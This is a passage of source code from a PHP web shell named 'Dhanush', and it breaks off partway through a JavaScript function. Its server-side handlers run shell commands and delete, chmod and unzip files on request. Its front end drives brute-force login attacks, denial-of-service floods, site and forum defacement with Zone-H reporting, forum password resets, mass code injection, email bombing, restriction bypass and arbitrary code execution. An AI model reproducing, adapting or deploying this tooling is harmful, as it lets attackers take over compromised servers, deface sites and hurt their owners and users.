4602 $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
4603 $num = mysql_num_rows( $pResult );
4604
4605 $rowcount = $num;
4606
4607 $pResultLen = mysql_list_fields( $dbname, $tablename );
4608
4609 for( $i = 0; $i < $num; $i++ )
4610 {
4611 $field = mysql_fetch_array( $pResult );
4612 $fieldname = $field["Field"];
4613 $arrdata = $_REQUEST[$fieldname];
4614
4615 $str1 .= "".$fieldname . ",";
4616 $str2 .= "'".$arrdata . "',";
4617 $rowcount--;
4618 if($rowcount != 0)
4619 {
4620 //$str1 .= $fieldname . ",";
4621 //$str2 .= $arrdata . ",";
4622 }
4623 }
4624 $str1=eregi_replace(',$', '', $str1);
4625 $str2=eregi_replace(',$', '', $str2);
4626 $str = "INSERT INTO `$tablename` ($str1) VALUES ($str2);";
4627 mysql_query($str);
4628
4629 ?><div id="showsql"></div><?php
4630}
4631else if(isset($_GET['logoutdb']))
4632{
4633 setcookie("dbserver",time() - 60*60);
4634 setcookie("dbuser",time() - 60*60);
4635 setcookie("dbpass",time() - 60*60);
4636 header("Location:$self");
4637}
4638else if(isset($_POST['choice']))
4639{
4640 if($_POST['choice'] == "delete")
4641 {
4642 $actbox = $_POST["actbox"];
4643
4644 foreach ($actbox as $myv)
4645 $myv = explode(",",$myv);
4646 foreach ($myv as $v)
4647 {
4648 if(is_file($v))
4649 {
4650 if(unlink($v))
4651 echo "<br><center><font class=txt>File $v Deleted Successfully</font></center>";
4652 else
4653 echo "<br><center>Cannot Delete File $v</center>";
4654 }
4655 else if(is_dir($v))
4656 {
4657 rrmdir($v);
4658 }
4659 }
4660 }
4661 else if($_POST['choice'] == "chmod")
4662 { ?>
4663 <form id="chform"><?php
4664 $actbox1 = $_POST['actbox'];
4665 foreach ($actbox1 as $myv)
4666 $myv = explode(",",$myv);
4667 foreach ($myv as $v)
4668 { ?>
4669 <input type="hidden" name="actbox3[]" id="actbox3[]" value="<?php echo $v; ?>">
4670 <?php }
4671 ?>
4672 <table align="center" border="3" style="width:40%; border-color:#333333;">
4673 <tr>
4674 <td style="height:40px" align="right">Change Permissions </td><td align="center"><input value="0755" name="chmode" class="sbox" /></td>
4675 </tr>
4676 <tr>
4677 <td colspan="2" align="center" style="height:60px">
4678 <input type="button" onClick="myaction('changefileperms',chmode.value)" value="Change Permission" class="but" style="padding: 5px;" /></td>
4679 </tr>
4680 </table>
4681
4682 </form> <?php
4683 }
4684 else if($_POST['choice'] == "changefileperms")
4685 {
4686 if($_POST['chmode'] != null && is_numeric($_POST['chmode']))
4687 {
4688 $actbox = $_POST["actbox"];
4689 foreach ($actbox as $myv)
4690 $myv = explode(",",$myv);
4691 foreach ($myv as $v)
4692 {
4693 if(is_file($v) || is_dir($v))
4694 {
4695 $perms = 0;
4696 for($i=strlen($_POST['chmode'])-1;$i>=0;--$i)
4697 $perms += (int)$_POST['chmode'][$i]*pow(8, (strlen($_POST['chmode'])-$i-1));
4698 echo "<div align=left style=width:60%;>";
4699 if(@chmod($v,$perms))
4700 echo "<font class=txt>File $v Permissions Changed Successfully</font><br>";
4701 else
4702 echo "Cannot Change $v File Permissions<br>";
4703 echo "</div>";
4704 }
4705 }
4706
4707 }
4708 }
4709 else if($_POST['choice'] == "compre")
4710 {
4711 $actbox = $_POST["actbox"];
4712 foreach ($actbox as $myv)
4713 $myv = explode(",",$myv);
4714 foreach ($myv as $v)
4715 {
4716 if(is_file($v))
4717 {
4718 $zip = new ZipArchive();
4719 $filename= basename($v) . '.zip';
4720 if(($zip->open($filename, ZipArchive::CREATE))!==true)
4721 { echo '<br><font size=3>Error: Unable to create zip file for $v</font>';}
4722 else {echo "<br><font class=txt size=3>File $v Compressed successfully</font>";}
4723 $zip->addFile(basename($v));
4724 $zip->close();
4725 }
4726 else if(is_dir($v))
4727 {
4728 if($os == "Linux")
4729 {
4730 $filename= basename($v);
4731 execmd("tar --create --recursion --file=$filename.tar $v");
4732 echo "<br><font class=txt size=3>File $v Compressed successfully as $v.tar</font>";
4733 }
4734 }
4735 }
4736 }
4737 else if($_POST['choice'] == "uncompre")
4738 {
4739 $actbox = $_POST["actbox"];
4740 foreach ($actbox as $myv)
4741 $myv = explode(",",$myv);
4742 foreach ($myv as $v)
4743 {
4744 if(is_file($v) || is_dir($v))
4745 {
4746 $zip = new ZipArchive;
4747 $filename= basename($v);
4748 $res = $zip->open($filename);
4749 if ($res === TRUE)
4750 {
4751 $pieces = explode(".",$filename);
4752 $zip->extractTo($pieces[0]);
4753 $zip->close();
4754 echo "<br><font class=txt size=3>File $v Unzipped successfully</font>";
4755 } else
4756 echo "<br><font size=3>Error: Unable to Unzip file $v</font>";
4757 }
4758 }
4759 }
4760}
4761else if(isset($_GET['sitename']))
4762{
4763 $sitename = str_replace("http://","",$_GET['sitename']);
4764 $sitename = str_replace("http://www.","",$sitename);
4765 $sitename = str_replace("www.","",$sitename);
4766 $show = myexe("ls -la /etc/valiases/".$sitename);
4767 if(!empty($show))
4768 echo $show;
4769 else
4770 echo "Cannot get the username";
4771}
4772else if(isset($_GET['mydata']))
4773{
4774 listdatabase();
4775}
4776else if(isset($_GET['home']))
4777{
4778 mainfun($_GET['home']);
4779}
4780else if(isset($_GET['dir']))
4781{
4782 mainfun($_GET['myfilepath']);
4783}
4784else if(isset($_GET['mydirpath']))
4785{
4786 echo is_writable($_GET['mydirpath'])?"<font class=txt>< writable ></font>":"< not writable >";
4787}
4788else
4789{
4790?>
4791<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
4792<title>Dhanush : By Arjun</title>
4793<script type="text/javascript">
4794checked = false;
4795var waitstate = "<center><marquee scrollamount=4 width=150>Wait....</marquee></center>";
4796function checkedAll ()
4797{
4798 if (checked == false){checked = true}else{checked = false}
4799 for (var i = 0; i < document.getElementById('myform').elements.length; i++)
4800 {
4801 document.getElementById('myform').elements[i].checked = checked;
4802 }
4803}
4804function urlchange(myfilepath)
4805{
4806 var mypath, mpath, i, t, j, r = "",myurl = "",splitter="";
4807 splitter = "<?php echo addslashes($directorysperator); ?>";
4808 mypath = mpath = myfilepath.split(splitter);
4809 <?php if($os == "Linux") { ?>
4810 r = "/";
4811 myurl = "<a href=javascript:void(0) onClick=\"changedir('dir','/')\">/</a>";
4812 <?php } ?>
4813 for (i = 0; i < mypath.length; i++)
4814 {
4815 if(mypath[i] == "")
4816 continue;
4817 r += mypath[i]+"<?php echo addslashes($directorysperator); ?>";
4818
4819 myurl += "<a href=javascript:void(0) onClick=\"changedir('dir','"+r+"\')\"><b>"+mypath[i]+"<?php echo addslashes($directorysperator); ?></b></a>";
4820 }
4821 myurl = myurl.replace(/\\/g,"\\\\");
4822 return myurl;
4823}
4824function wrtblDIR(mydirpath)
4825{
4826 var ajaxRequest;
4827 ajaxRequest = new XMLHttpRequest();
4828
4829 ajaxRequest.onreadystatechange = function()
4830 {
4831 if(ajaxRequest.readyState == 4)
4832 {
4833 for(i=0;i<=3;i++)
4834 document.getElementsByName("wrtble")[i].innerHTML=ajaxRequest.responseText;
4835 }
4836 }
4837
4838 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?&mydirpath="+mydirpath, true);
4839 ajaxRequest.send(null);
4840}
4841function setpath(myfilpath)
4842{
4843 wrtblDIR(myfilpath);
4844 document.getElementById("path").value=myfilpath;
4845 document.getElementById("createfile").value=myfilpath;
4846 document.getElementById("createfolder").value=myfilpath;
4847 document.getElementById("createfolder").value=myfilpath;
4848 document.getElementById("exepath").value=myfilpath;
4849 document.getElementById("auexepath").value=myfilpath;
4850 document.getElementById("showdir").innerHTML="";
4851}
4852function changedir(myaction,myfilepath)
4853{
4854 var myurl = urlchange(myfilepath);
4855
4856 document.getElementById("showmaindata").innerHTML=waitstate;
4857 var ajaxRequest;
4858 ajaxRequest = new XMLHttpRequest();
4859
4860 ajaxRequest.onreadystatechange = function()
4861 {
4862 if(ajaxRequest.readyState == 4)
4863 {
4864 setpath(myfilepath);
4865 document.getElementById("crdir").innerHTML=myurl;
4866 document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
4867 }
4868 }
4869
4870 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"&myfilepath="+myfilepath, true);
4871 ajaxRequest.send(null);
4872}
4873function gethome(myaction,mydir)
4874{
4875 var myurl = urlchange(mydir);
4876 document.getElementById("showmaindata").innerHTML=waitstate;
4877 var ajaxRequest;
4878 ajaxRequest = new XMLHttpRequest();
4879
4880 ajaxRequest.onreadystatechange = function()
4881 {
4882 if(ajaxRequest.readyState == 4)
4883 {
4884 document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
4885 setpath(mydir);
4886 document.getElementById("crdir").innerHTML=myurl;
4887 }
4888 }
4889
4890 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"="+mydir, true);
4891 ajaxRequest.send(null);
4892}
4893function getname(sitename)
4894{
4895 document.getElementById("showsite").innerHTML=waitstate;
4896 var ajaxRequest;
4897 ajaxRequest = new XMLHttpRequest();
4898
4899 ajaxRequest.onreadystatechange = function()
4900 {
4901 if(ajaxRequest.readyState == 4)
4902 {
4903 document.getElementById("showsite").innerHTML=ajaxRequest.responseText;
4904 }
4905 }
4906
4907 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?sitename="+sitename, true);
4908 ajaxRequest.send(null);
4909}
4910function myaction(myfileaction,chmode)
4911{
4912 var mytype = document.getElementsByName('actbox[]');
4913 var mychoice = new Array();
4914
4915 for (var i = 0, length = mytype.length; i < length; i++)
4916 {
4917 if (mytype[i].checked)
4918 mychoice[i] = mytype[i].value;
4919 }
4920
4921 var params = "choice="+myfileaction+"&chmode="+chmode+"&actbox[]="+mychoice;
4922
4923 document.getElementById("showdir").innerHTML=waitstate;
4924 var ajaxRequest;
4925 ajaxRequest = new XMLHttpRequest();
4926
4927 ajaxRequest.onreadystatechange = function()
4928 {
4929 if(ajaxRequest.readyState == 4)
4930 {
4931 document.getElementById("showdir").innerHTML=ajaxRequest.responseText;
4932 }
4933 }
4934
4935 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
4936 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
4937 ajaxRequest.send(params);
4938}
4939function editdata()
4940{
4941 var result = "", // initialize list
4942 i,dbname,tablename;
4943 // iterate through arguments
4944 for (i = 1; i < arguments.length; i++)
4945 {
4946 if(i%2 == 0)
4947 result += arguments[i]+'=';
4948 else
4949 result += arguments[i]+'&';
4950 }
4951 result = result.slice(0, -1);
4952
4953 dbname = arguments[3];
4954 tablename = arguments[5];
4955 var result=result.replace(/dhanush_/g,"");
4956 var params = arguments[0]+"="+result;
4957
4958 document.getElementById("showsql").innerHTML=waitstate;
4959 var ajaxRequest;
4960 ajaxRequest = new XMLHttpRequest();
4961
4962 ajaxRequest.onreadystatechange = function()
4963 {
4964 if(ajaxRequest.readyState == 4)
4965 {
4966 viewtables('listTables',dbname,tablename);
4967 }
4968 }
4969
4970 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
4971 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
4972 ajaxRequest.send(params);
4973}
4974function viewtables(action,dbname,tablename,rowid,arrdata,executequery,fieldname,page)
4975{
4976 document.getElementById("showsql").innerHTML=waitstate;
4977 var ajaxRequest;
4978 ajaxRequest = new XMLHttpRequest();
4979
4980 ajaxRequest.onreadystatechange = function()
4981 {
4982 if(ajaxRequest.readyState == 4)
4983 {
4984 document.getElementById("showsql").innerHTML=ajaxRequest.responseText;
4985 }
4986 }
4987
4988 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?action="+action+"&dbname="+dbname+"&tablename="+tablename+"&"+rowid+"="+arrdata+"&executemyquery="+executequery+"&fieldname="+fieldname+"&page="+page, true);
4989 ajaxRequest.send(null);
4990}
4991function mydatabase(server,username,password)
4992{
4993 document.getElementById("showsql").innerHTML=waitstate;
4994 var ajaxRequest;
4995 ajaxRequest = new XMLHttpRequest();
4996
4997 ajaxRequest.onreadystatechange = function()
4998 {
4999 if(ajaxRequest.readyState == 4)
5000 {
5001 mydatago();
5002 }
5003 }
5004
5005 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?executeit&server="+server+"&username="+username+"&password="+password, true);
5006 ajaxRequest.send(null);
5007}
5008function mydatago()
5009{
5010 var ajaxRequest;
5011 ajaxRequest = new XMLHttpRequest();
5012
5013 ajaxRequest.onreadystatechange = function()
5014 {
5015 if(ajaxRequest.readyState == 4)
5016 {
5017 document.getElementById("datatable").style.display = 'none';
5018 document.getElementById("showsql").innerHTML=ajaxRequest.responseText;
5019 }
5020 }
5021
5022 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?mydata", true);
5023 ajaxRequest.send(null);
5024}
5025function bruteforce(prototype,serverport,login,dict)
5026{
5027 var mytype = document.getElementsByName('mytype');
5028 for (var i = 0, length = mytype.length; i < length; i++)
5029 {
5030 if (mytype[i].checked)
5031 break;
5032 }
5033 var getreverse = 0;
5034 if(document.getElementById('reverse').checked == true)
5035 getreverse = 1;
5036 else
5037 getreverse = 0;
5038
5039 document.getElementById("showbrute").innerHTML=waitstate;
5040 var ajaxRequest;
5041 ajaxRequest = new XMLHttpRequest();
5042
5043 ajaxRequest.onreadystatechange = function()
5044 {
5045 if(ajaxRequest.readyState == 4)
5046 {
5047 document.getElementById("showbrute").innerHTML=ajaxRequest.responseText;
5048 }
5049 }
5050
5051 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?prototype="+prototype+"&serverport="+serverport+"&login="+login+"&dict="+dict+"&type="+mytype[i].value+"&reverse="+getreverse, true);
5052 ajaxRequest.send(null);
5053}
5054function executemyfile(action,executepath,execute)
5055{
5056 document.getElementById("showmaindata").innerHTML=waitstate;
5057 var ajaxRequest;
5058 ajaxRequest = new XMLHttpRequest();
5059
5060 ajaxRequest.onreadystatechange = function()
5061 {
5062 if(ajaxRequest.readyState == 4)
5063 {
5064 document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
5065 }
5066 }
5067
5068 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+action+"&executepath="+executepath+"&execute="+execute, true);
5069 ajaxRequest.send(null);
5070}
5071function maindata(myaction,dir)
5072{
5073 document.getElementById("showmaindata").innerHTML=waitstate;
5074 var ajaxRequest;
5075 ajaxRequest = new XMLHttpRequest();
5076
5077 ajaxRequest.onreadystatechange = function()
5078 {
5079 if(ajaxRequest.readyState == 4)
5080 {
5081 document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
5082 document.getElementById("showdir").innerHTML="";
5083 }
5084 }
5085
5086 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"="+myaction+"&dir="+dir, true);
5087 ajaxRequest.send(null);
5088}
5089function manuallyscriptfn(passwd)
5090{
5091 var message = encodeURIComponent(passwd);
5092 var params = "scriptlocator=scriptlocator&passwd="+passwd;
5093 document.getElementById("showdata").innerHTML=waitstate;
5094 var ajaxRequest;
5095 ajaxRequest = new XMLHttpRequest();
5096
5097 ajaxRequest.onreadystatechange = function()
5098 {
5099 if(ajaxRequest.readyState == 4)
5100 {
5101 document.getElementById("showdata").innerHTML=ajaxRequest.responseText;
5102 }
5103 }
5104
5105 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5106 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5107 ajaxRequest.send(params);
5108}
5109function my404page(message)
5110{
5111 var message = encodeURIComponent(message);
5112 var params = "404page=404page&message="+message;
5113 document.getElementById("showdata").innerHTML=waitstate;
5114 var ajaxRequest;
5115 ajaxRequest = new XMLHttpRequest();
5116
5117 ajaxRequest.onreadystatechange = function()
5118 {
5119 if(ajaxRequest.readyState == 4)
5120 {
5121 document.getElementById("showdata").innerHTML=ajaxRequest.responseText;
5122 }
5123 }
5124
5125 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5126 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5127 ajaxRequest.send(params);
5128}
5129function executemyfn(executepath,executemycmd)
5130{
5131 document.getElementById("showexecute").innerHTML="Wait....";
5132 var ajaxRequest;
5133 ajaxRequest = new XMLHttpRequest();
5134
5135 ajaxRequest.onreadystatechange = function()
5136 {
5137 if(ajaxRequest.readyState == 4)
5138 {
5139 document.getElementById("showexecute").innerHTML=ajaxRequest.responseText;
5140 }
5141 }
5142
5143 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?executepath="+executepath+"&executemycmd="+executemycmd, true);
5144 ajaxRequest.send(null);
5145}
5146function zoneh(defacer,hackmode,reason,domain)
5147{
5148 var domain = encodeURIComponent(domain);
5149 var params = "SendNowToZoneH=SendNowToZoneH&defacer="+defacer+"&hackmode="+hackmode+"&reason="+reason+"&domain="+domain;
5150 document.getElementById("showzone").innerHTML=waitstate;
5151 var ajaxRequest;
5152 ajaxRequest = new XMLHttpRequest();
5153
5154 ajaxRequest.onreadystatechange = function()
5155 {
5156 if(ajaxRequest.readyState == 4)
5157 {
5158 document.getElementById("showzone").innerHTML=ajaxRequest.responseText;
5159 }
5160 }
5161
5162 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5163 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5164 ajaxRequest.send(params);
5165}
5166function savemyfile(file,content)
5167{
5168 var content = encodeURIComponent(content);
5169 var params = "content="+content+"&file="+file;
5170 document.getElementById("showmydata").innerHTML=waitstate;
5171 var ajaxRequest;
5172 ajaxRequest = new XMLHttpRequest();
5173
5174 ajaxRequest.onreadystatechange = function()
5175 {
5176 if(ajaxRequest.readyState == 4)
5177 {
5178 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
5179 }
5180 }
5181
5182 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5183 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5184 ajaxRequest.send(params);
5185}
5186function renamefun(file,to)
5187{
5188 document.getElementById("showmydata").innerHTML=waitstate;
5189 var ajaxRequest;
5190 ajaxRequest = new XMLHttpRequest();
5191
5192 ajaxRequest.onreadystatechange = function()
5193 {
5194 if(ajaxRequest.readyState == 4)
5195 {
5196 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
5197 }
5198 }
5199
5200 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?renamemyfile&file="+file+"&to="+to, true);
5201 ajaxRequest.send(null);
5202}
5203function changeperms(chmode,myfilename)
5204{
5205 document.getElementById("showmydata").innerHTML=waitstate;
5206 var ajaxRequest;
5207 ajaxRequest = new XMLHttpRequest();
5208
5209 ajaxRequest.onreadystatechange = function()
5210 {
5211 if(ajaxRequest.readyState == 4)
5212 {
5213 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
5214 }
5215 }
5216
5217 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?chmode="+chmode+"&myfilename="+myfilename, true);
5218 ajaxRequest.send(null);
5219}
5220function defacefun(deface)
5221{
5222 var ajaxRequest;
5223 ajaxRequest = new XMLHttpRequest();
5224
5225 ajaxRequest.onreadystatechange = function()
5226 {
5227 if(ajaxRequest.readyState == 4)
5228 {
5229 alert(ajaxRequest.responseText);
5230 }
5231 }
5232
5233 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?deface="+deface, true);
5234 ajaxRequest.send(null);
5235}
5236function fileaction(myaction,myfilepath)
5237{
5238 document.getElementById("showmydata").innerHTML=waitstate;
5239 var ajaxRequest;
5240 ajaxRequest = new XMLHttpRequest();
5241
5242 ajaxRequest.onreadystatechange = function()
5243 {
5244 if(ajaxRequest.readyState == 4)
5245 {
5246 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
5247 }
5248 }
5249
5250 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"&myfilepath="+myfilepath, true);
5251 ajaxRequest.send(null);
5252}
5253function bypassfun(funct,functvalue,optiontype)
5254{
5255 document.getElementById("showbyp").innerHTML=waitstate;
5256 var ajaxRequest;
5257 ajaxRequest = new XMLHttpRequest();
5258
5259 ajaxRequest.onreadystatechange = function()
5260 {
5261 if(ajaxRequest.readyState == 4)
5262 {
5263 document.getElementById("showbyp").innerHTML=ajaxRequest.responseText;
5264 }
5265 }
5266
5267 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?bypassit&"+funct+"="+functvalue+"&optiontype="+optiontype, true);
5268 ajaxRequest.send(null);
5269}
5270function dos(target,ip,port,timeout,exTime,no0fBytes,multiplier)
5271{
5272 document.getElementById("showdos").innerHTML=waitstate;
5273 var ajaxRequest;
5274 ajaxRequest = new XMLHttpRequest();
5275
5276 ajaxRequest.onreadystatechange = function()
5277 {
5278 if(ajaxRequest.readyState == 4)
5279 {
5280 document.getElementById("showdos").innerHTML=ajaxRequest.responseText;
5281 }
5282 }
5283
5284 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+target+"&ip="+ip+"&port="+port+"&timeout="+timeout+"&exTime="+exTime+"&multiplier="+multiplier+"&no0fBytes="+no0fBytes, true);
5285 ajaxRequest.send(null);
5286}
5287function createfile(filecreator,filecontent)
5288{
5289 var mm = filecreator.slice(0, filecreator.lastIndexOf("<?php echo addslashes($directorysperator); ?>"));
5290 var filecontent = encodeURIComponent(filecontent);
5291 var params = "filecontent="+filecontent+"&filecreator="+filecreator;
5292 document.getElementById("showdir").innerHTML=waitstate;
5293 var ajaxRequest;
5294 ajaxRequest = new XMLHttpRequest();
5295
5296 ajaxRequest.onreadystatechange = function()
5297 {
5298 if(ajaxRequest.readyState == 4)
5299 {
5300 gethome('home',mm);
5301 document.getElementById("showdir").innerHTML=ajaxRequest.responseText;
5302 }
5303 }
5304
5305 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5306 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5307 ajaxRequest.send(params);
5308}
5309function createdir(create,createfolder)
5310{
5311 document.getElementById("showdir").innerHTML=waitstate;
5312 var ajaxRequest;
5313 ajaxRequest = new XMLHttpRequest();
5314
5315 ajaxRequest.onreadystatechange = function()
5316 {
5317 if(ajaxRequest.readyState == 4)
5318 {
5319 document.getElementById("showdir").innerHTML=ajaxRequest.responseText;
5320 }
5321 }
5322
5323 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+create+"="+createfolder, true);
5324 ajaxRequest.send(null);
5325}
5326function codeinsert(code)
5327{
5328 var code = encodeURIComponent(code);
5329 var params = "getcode="+code;
5330 document.getElementById("showcode").innerHTML=waitstate;
5331 var ajaxRequest;
5332 ajaxRequest = new XMLHttpRequest();
5333
5334 ajaxRequest.onreadystatechange = function()
5335 {
5336 if(ajaxRequest.readyState == 4)
5337 {
5338 document.getElementById("showcode").innerHTML=ajaxRequest.responseText;
5339 }
5340 }
5341
5342 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5343 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5344 ajaxRequest.send(params);
5345}
5346function getmydata(mydata)
5347{
5348 document.getElementById("showmydata").innerHTML=waitstate;
5349 var ajaxRequest;
5350 ajaxRequest = new XMLHttpRequest();
5351
5352 ajaxRequest.onreadystatechange = function()
5353 {
5354 if(ajaxRequest.readyState == 4)
5355 {
5356 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
5357 }
5358 }
5359
5360 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+mydata, true);
5361 ajaxRequest.send(null);
5362}
5363function getdata(mydata,myfile)
5364{
5365 document.getElementById("showdata").innerHTML=waitstate;
5366 var ajaxRequest;
5367 ajaxRequest = new XMLHttpRequest();
5368
5369 ajaxRequest.onreadystatechange = function()
5370 {
5371 if(ajaxRequest.readyState == 4)
5372 {
5373 document.getElementById("showdata").innerHTML=ajaxRequest.responseText;
5374 }
5375 }
5376
5377 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+mydata+"&myfile="+myfile, true);
5378 ajaxRequest.send(null);
5379}
5380function getport(host,protocol,start,end)
5381{
5382 document.getElementById("showports").innerHTML=waitstate;
5383 var ajaxRequest;
5384 ajaxRequest = new XMLHttpRequest();
5385
5386 ajaxRequest.onreadystatechange = function()
5387 {
5388 if(ajaxRequest.readyState == 4)
5389 {
5390 document.getElementById("showports").innerHTML=ajaxRequest.responseText;
5391 }
5392 }
5393
5394 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?host=" + host + "&protocol=" + protocol, true);
5395 ajaxRequest.send(null);
5396}
5397function changeforumpassword(forumpass,f1,f2,f3,f4,forums,tableprefix,ipbuid,newipbpass,username,newjoomlapass,uid,uname,newpass)
5398{
5399 document.getElementById("showchangepass").innerHTML=waitstate;
5400 var ajaxRequest;
5401 ajaxRequest = new XMLHttpRequest();
5402
5403 ajaxRequest.onreadystatechange = function()
5404 {
5405 if(ajaxRequest.readyState == 4)
5406 {
5407 document.getElementById("showchangepass").innerHTML=ajaxRequest.responseText;
5408 }
5409 }
5410
5411 ajaxRequest.open("GET", "<?php echo $_SERVER['PHP_SELF']; ?>?forumpass&f1=" + f1 + "&f2=" + f2 + "&f3=" + f3 + "&f4=" + f4 + "&forums=" + forums + "&prefix=" + tableprefix + "&ipbuid=" + ipbuid + "&newipbpass=" + newipbpass + "&username=" + username + "&newjoomlapass=" + newjoomlapass + "&uid=" + uid + "&uname=" + uname + "&newpass=" + newpass, true);
5412 ajaxRequest.send(null);
5413}
5414function forumdefacefn(index,f1,f2,f3,f4,defaceforum,tableprefix,siteurl,head,alll,f5)
5415{
5416 var index = encodeURIComponent(index);
5417 var params = "forumdeface="+defaceforum+"&index=" + index + "&f1=" + f1 + "&f2=" + f2 + "&f3=" + f3 + "&f4=" + f4 + "&tableprefix="+tableprefix+"&siteurl="+siteurl+"&head="+head+"&alll="+alll+"&f5="+f5;
5418 document.getElementById("showdeface").innerHTML=waitstate;
5419 var ajaxRequest;
5420 ajaxRequest = new XMLHttpRequest();
5421
5422 ajaxRequest.onreadystatechange = function()
5423 {
5424 if(ajaxRequest.readyState == 4)
5425 {
5426 document.getElementById("showdeface").innerHTML=ajaxRequest.responseText;
5427 }
5428 }
5429
5430 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5431 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5432 ajaxRequest.send(params);
5433}
5434function codeinjector(pathtomass,mode,filetype,injectthis)
5435{
5436 var injectthis = encodeURIComponent(injectthis);
5437 var params = "pathtomass="+pathtomass+"&mode=" + mode + "&filetype=" + filetype + "&injectthis=" + injectthis;
5438 document.getElementById("showinject").innerHTML=waitstate;
5439 var ajaxRequest;
5440 ajaxRequest = new XMLHttpRequest();
5441
5442 ajaxRequest.onreadystatechange = function()
5443 {
5444 if(ajaxRequest.readyState == 4)
5445 {
5446 document.getElementById("showinject").innerHTML=ajaxRequest.responseText;
5447 }
5448 }
5449
5450 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5451 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5452 ajaxRequest.send(params);
5453}
5454function sendmail(mailfunction,to,subject,message,from,times,padding)
5455{
5456 var message = encodeURIComponent(message);
5457 if(mailfunction == "massmailing")
5458 var params = "mailfunction="+mailfunction+"&to="+to+"&subject="+subject+"&from=" + from + "&message=" + message;
5459 else if(mailfunction == "dobombing")
5460 var params = "mailfunction="+mailfunction+"&to="+to+"&subject="+subject+"×=" + times + "&padding=" + padding + "&message=" + message;
5461 document.getElementById("showmail").innerHTML=waitstate;
5462 var ajaxRequest;
5463 ajaxRequest = new XMLHttpRequest();
5464
5465 ajaxRequest.onreadystatechange = function()
5466 {
5467 if(ajaxRequest.readyState == 4)
5468 {
5469 document.getElementById("showmail").innerHTML=ajaxRequest.responseText;
5470 }
5471 }
5472
5473 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5474 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5475 ajaxRequest.send(params);
5476}
5477function execode(code)
5478{
5479 var intext = document.getElementById('intext').checked;
5480 var message = encodeURIComponent(message);
5481 var params = "code="+code+"&intext="+intext;
5482 document.getElementById("showresult").innerHTML=waitstate;
5483 var ajaxRequest;
5484 ajaxRequest = new XMLHttpRequest();
5485
5486 ajaxRequest.onreadystatechange = function()
5487 {
5488 if(ajaxRequest.readyState == 4)
5489 {
5490 document.getElementById("showresult").innerHTML=ajaxRequest.responseText;
5491 }
5492 }
5493
5494 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5495 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5496 ajaxRequest.send(params);
5497}
5498function malwarefun(malwork)
5499{
5500 var malpath = document.getElementById('createfile').value;
5501 document.getElementById("showmal").innerHTML="<center><marquee scrollamount=4 width=150>Wait....</marquee></center>";
5502 var ajaxRequest;
5503 ajaxRequest = new XMLHttpRequest();
5504
5505 ajaxRequest.onreadystatechange = function()
5506 {
